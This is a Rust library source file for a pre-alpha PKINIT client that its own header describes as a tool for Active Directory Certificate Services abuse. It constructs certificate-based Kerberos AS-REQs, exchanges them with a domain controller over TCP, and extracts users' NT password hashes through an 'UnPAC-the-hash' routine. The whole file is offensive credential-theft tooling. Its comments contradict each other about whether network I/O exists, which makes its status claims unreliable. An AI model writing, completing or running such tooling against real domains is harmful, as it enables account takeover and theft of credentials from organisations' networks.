ms_pkca/lib.rs
1//! # ms-pkca (pre-alpha)
2//!
3//! PKINIT (RFC 4556) client for AD CS abuse — PA-PK-AS-REQ construction, DH
4//! shared-secret derivation, PA-PK-AS-REP parsing, and the "UnPAC-the-hash"
5//! primitive.
6//!
7//! **STATUS: 0.1.0-dev** — offline structural encode + partial DH/KDF/PAC
8//! primitives. No network I/O. Not yet wire-compatible against a real KDC;
9//! that work needs live-DC iteration (planned 0.2).
10//!
11//! ## Modules
12//! * [`dh`] — RFC 4556 §3.2.1 Modp1024/Modp2048 groups + keypair
13//! * [`kdf`] — RFC 4556 §3.2.3.1 octet-string-to-key
14//! * [`cms`] — minimal RFC 5652 SignedData/ContentInfo encoders
15//! * [`pkinit`] — AuthPack / PKAuthenticator / PA-PK-AS-REQ builder
16//! * [`pac`] — PAC_CREDENTIAL_INFO parse + NT-hash extraction
17//! * [`oid`] — PKINIT / CMS object identifiers
18//! * [`error`] — [`Error`]/[`Result`]
19//!
20//! ## Minimal example
21//! ```no_run
22//! use ms_pkca::{PkinitClient, AsRepResult};
23//! let client = PkinitClient::new("EXAMPLE.COM", "dc01.example.com:88");
24//! let cert_pem = std::fs::read("client.pem").unwrap();
25//! let key_pem = std::fs::read("client.key").unwrap();
26//! // In 0.1.0-dev this returns a placeholder AsRepResult — no network is done.
27//! let rep = client.request_tgt_with_cert(&cert_pem, &key_pem, "alice@example.com").unwrap();
28//! ```
29
30pub mod cms;
31pub(crate) mod der_walk;
32pub mod dh;
33pub mod enveloped;
34pub mod error;
35pub mod kdf;
36#[cfg(feature = "network")]
37pub mod network;
38pub mod oid;
39pub mod pac;
40pub mod pkinit;
41
42pub use error::{Error, Result};
43
44use der::asn1::GeneralizedTime;
45use der::DecodePem;
46use rsa::{pkcs1::DecodeRsaPrivateKey, pkcs8::DecodePrivateKey, RsaPrivateKey};
47use x509_cert::Certificate;
48
49/// Result of a (would-be) AS-REQ / AS-REP exchange.
50///
51/// In 0.1.0-dev the `ticket` field carries the DER of the PA-PK-AS-REQ we would
52/// have sent (so callers can drive their own network I/O), and `session_key`
53/// is empty — real values will be filled in 0.2 when the Kerberos AS-REP
54/// parser lands.
55#[derive(Debug, Clone, Default)]
56pub struct AsRepResult {
57 /// TGT bytes (empty in 0.1.0-dev — placeholder).
58 pub ticket: Vec<u8>,
59 /// Derived Kerberos session key (empty in 0.1.0-dev — placeholder).
60 pub session_key: Vec<u8>,
61 /// Encrypted PAC_CREDENTIAL_INFO blob if returned (None until AS-REP parsing lands).
62 pub pac_credential_info: Option<Vec<u8>>,
63 /// **Debug aid** — the DER of the PA-PK-AS-REQ we constructed. Not part of
64 /// the stable API; will be removed once network I/O is real.
65 pub debug_as_req_der: Vec<u8>,
66}
67
68/// PKINIT client — realm + KDC endpoint.
69///
70/// Network I/O is stubbed in 0.1.0-dev; the client currently *builds* the
71/// PA-PK-AS-REQ and returns it inside `AsRepResult::debug_as_req_der` so
72/// callers or tests can inspect the bytes.
73#[derive(Debug, Clone)]
74pub struct PkinitClient {
75 pub realm: String,
76 pub kdc: String,
77}
78
79impl PkinitClient {
80 pub fn new(realm: impl Into<String>, kdc: impl Into<String>) -> Self {
81 Self {
82 realm: realm.into(),
83 kdc: kdc.into(),
84 }
85 }
86
87 /// Build a PA-PK-AS-REQ using a PEM cert + PEM RSA private key.
88 ///
89 /// With the `network` feature (default), this connects to `self.kdc` over
90 /// TCP, sends the AS-REQ framed per RFC 4120 §7.2.2, parses the AS-REP,
91 /// runs the DH or RSA reply-key derivation, and returns the ticket +
92 /// derived session key.
93 ///
94 /// With `network` disabled, this returns an [`Error::NetworkDisabled`];
95 /// use [`pkinit::build_pa_pk_as_req`] to get the PA-PK-AS-REQ DER for
96 /// caller-driven I/O.
97 ///
98 /// `upn` is the client-principal (e.g. `"alice"`), used to fill AS-REQ
99 /// cname. Realm comes from `self.realm`.
100 pub fn request_tgt_with_cert(
101 &self,
102 cert_pem: &[u8],
103 key_pem: &[u8],
104 upn: &str,
105 ) -> Result<AsRepResult> {
106 let cert = Certificate::from_pem(cert_pem)
107 .map_err(|e| Error::X509(format!("parse client cert: {e}")))?;
108 let key = load_rsa_key(key_pem)?;
109
110 // Deterministic-ish ctime for testability; a real caller would use
111 // current UTC. We accept the small skew here for the no-network path;
112 // the wire path below fixes it.
113 let ctime = GeneralizedTime::from_date_time(
114 der::DateTime::new(2026, 1, 1, 0, 0, 0)
115 .map_err(|e| Error::Unsupported(format!("time: {e}")))?,
116 );
117 let nonce: u32 = 0xDEADBEEF;
118
119 #[cfg(feature = "network")]
120 {
121 // Compute the SHA-1 checksum over the DER of the KDC-REQ-BODY we
122 // are about to send (RFC 4556 §3.2.1). This has to happen BEFORE
123 // building PA-PK-AS-REQ, because the PkAuthenticator inside the
124 // CMS-signed AuthPack carries the digest and the KDC verifies it
125 // against the body it receives.
126 let till = picky_asn1::date::GeneralizedTime::new(2038, 1, 1, 0, 0, 0)
127 .ok_or_else(|| Error::Unsupported("till time out of range".into()))?;
128 let etypes: [i32; 3] = [18, 17, 23]; // aes256, aes128, rc4-hmac
129 let cname_parts = [upn];
130 let realm_upper = self.realm.to_ascii_uppercase();
131 let sname_parts: [&str; 2] = ["krbtgt", &realm_upper];
132 let mut req_opts = network::AsReqOpts {
133 realm: &self.realm,
134 cname: &cname_parts,
135 sname: &sname_parts,
136 pa_pk_as_req_der: &[], // filled in after we build it
137 nonce,
138 till: picky_asn1::wrapper::GeneralizedTimeAsn1::from(till),
139 etypes: &etypes,
140 };
141 let body_sha1 = network::compute_as_req_body_checksum(&req_opts)?;
142
143 let opts = pkinit::BuildOptions {
144 client_cert: &cert,
145 client_key: &key,
146 dh_group: dh::DhGroup::Modp2048,
147 as_req_body_checksum: Some(body_sha1.to_vec()),
148 ctime,
149 cusec: 0,
150 nonce,
151 };
152 let (pa_pk_as_req_der, dh) = pkinit::build_pa_pk_as_req(&opts)?;
153
154 req_opts.pa_pk_as_req_der = &pa_pk_as_req_der;
155 let req = network::build_as_req(&req_opts)?;
156 let reply = network::tcp_exchange(&self.kdc, &req, std::time::Duration::from_secs(15))?;
157 let key_bytes_for_etype = 32; // aes256 default; refine when we parse enc-part etype
158 let mut out = network::process_as_rep(&reply, &dh, &key, nonce, key_bytes_for_etype)?;
159 out.debug_as_req_der = pa_pk_as_req_der;
160 return Ok(out);
161 }
162
163 #[cfg(not(feature = "network"))]
164 {
165 let opts = pkinit::BuildOptions {
166 client_cert: &cert,
167 client_key: &key,
168 dh_group: dh::DhGroup::Modp2048,
169 // Without the `network` feature we cannot build the KDC-REQ-BODY
170 // (no picky-krb dep), so the checksum is unavoidably absent.
171 // Callers driving their own I/O compute it themselves.
172 as_req_body_checksum: None,
173 ctime,
174 cusec: 0,
175 nonce,
176 };
177 let (pa_pk_as_req_der, _dh) = pkinit::build_pa_pk_as_req(&opts)?;
178 let _ = upn;
179 return Ok(AsRepResult {
180 ticket: Vec::new(),
181 session_key: Vec::new(),
182 pac_credential_info: None,
183 debug_as_req_der: pa_pk_as_req_der,
184 });
185 }
186 }
187
188 /// PFX / PKCS#12 loader — NOT implemented in 0.1.0-dev.
189 ///
190 /// PKCS#12 parsing needs another dep (`p12` or hand-rolled) plus MAC
191 /// verification. Deferred to keep the dep graph tight. Convert your PFX
192 /// to PEM (`openssl pkcs12 -in x.pfx -out x.pem -nodes`) and use
193 /// [`Self::request_tgt_with_cert`].
194 pub fn request_tgt_with_pfx(&self, _pfx: &[u8], _password: &str) -> Result<AsRepResult> {
195 Err(Error::PfxUnsupported)
196 }
197}
198
199/// UnPAC-the-hash — pull the NT hash out of a **decrypted** PAC_CREDENTIAL_DATA
200/// blob returned inside PA-PK-AS-REP.
201///
202/// The caller is responsible for the Kerberos decryption step (session key +
203/// etype from the AS-REP). In 0.1.0-dev we operate on the *decrypted*
204/// bytes directly to keep this primitive testable without a live DC.
205pub fn unpac_the_hash(decrypted_credential_data: &[u8]) -> Result<[u8; 16]> {
206 pac::extract_nt_hash_from_credential_data(decrypted_credential_data)
207}
208
209/// Convenience wrapper that operates on an [`AsRepResult`] — will succeed once
210/// the AS-REP parser + decryption is wired in 0.2. For now it forwards to
211/// [`unpac_the_hash`] using `pac_credential_info` as if it were already
212/// decrypted.
213pub fn unpac_the_hash_from_asrep(rep: &AsRepResult) -> Result<[u8; 16]> {
214 let blob = rep
215 .pac_credential_info
216 .as_deref()
217 .ok_or_else(|| Error::PacParse("AsRepResult carries no PAC_CREDENTIAL_INFO".into()))?;
218 unpac_the_hash(blob)
219}
220
221fn load_rsa_key(pem: &[u8]) -> Result<RsaPrivateKey> {
222 let s = std::str::from_utf8(pem).map_err(|e| Error::Pem(e.to_string()))?;
223 // Try PKCS#8 first (BEGIN PRIVATE KEY), then PKCS#1 (BEGIN RSA PRIVATE KEY).
224 if let Ok(k) = RsaPrivateKey::from_pkcs8_pem(s) {
225 return Ok(k);
226 }
227 RsaPrivateKey::from_pkcs1_pem(s).map_err(|e| Error::Pem(format!("RSA key: {e}")))
228}